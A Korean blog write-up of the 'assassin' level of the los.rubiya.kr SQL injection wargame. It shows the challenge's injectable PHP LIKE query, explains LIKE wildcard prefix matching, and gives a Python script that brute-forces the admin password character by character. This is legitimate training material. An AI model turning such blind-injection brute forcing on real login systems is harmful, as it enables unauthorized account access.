일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- restapi
- EER
- 방명록 만들기
- JSTL
- jsp
- Database
- 소개딩
- 소프트웨어 개발보안 경진대회
- DBMS
- webhacking 처음
- frontend
- 인턴 후기
- mysql
- SessionAttribute
- 행정지역 DB
- Layered Architecture
- 3단계 지역 DB
- Forensic 절차
- Django
- spring
- 네이버 인턴
- PyAmdecoder
- ㅁㅇㅂ??ㅇㅈㄷ ㅎㅇㅌ...
- reversing.kr
- react
- 인턴 지원
- 정보보호병 후기
- 동읍면 DB
- 메모리 포랜식
- riceteacatpanda
- Today
- Total
웹찢남
Assassin-writeup 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>
=과 다르게 like 구문은 해당 string에 문자를 포함하는지 여부또한 파악한다
예를 들어 id like '0%' 을 했을때 참 값이 나올 경우 id 에 0을 포함한다는 뜻이다
%0,%0%,0% 과 같이 0이 앞에 붙냐 뒤에붙냐 가운데 있냐 이렇게 볼수 있는데
우리는 0%를 사용해야한다 %0이 url로 들어갈 시 %20 이라하면 공백이 되어 버린다..
import re
import requests
import time
flag = ''
length= 0
session =dict(PHPSESSID="자신의 PHPSESSION")
for i in range (1,20):
for j in range(48,128):
r=requests.post("https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="+flag+chr(j)+"%",cookies=session)
if 'Hello admin' in r.text:
flag=flag+str(chr(j))
print("finding pw: "+flag)
break
elif 'Hello guest' in r.text:
flag=flag+str(chr(j))
print("finding pw: "+flag)
break
print("pw "+flag)
'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글
Zombie_assassin-writeup (0) | 2019.12.28 |
---|---|
Succubus-writeup (0) | 2019.12.28 |
Giant-writeup (0) | 2019.12.27 |
Bugbear-writeup (0) | 2019.12.27 |
Darkknight-writeup (0) | 2019.12.27 |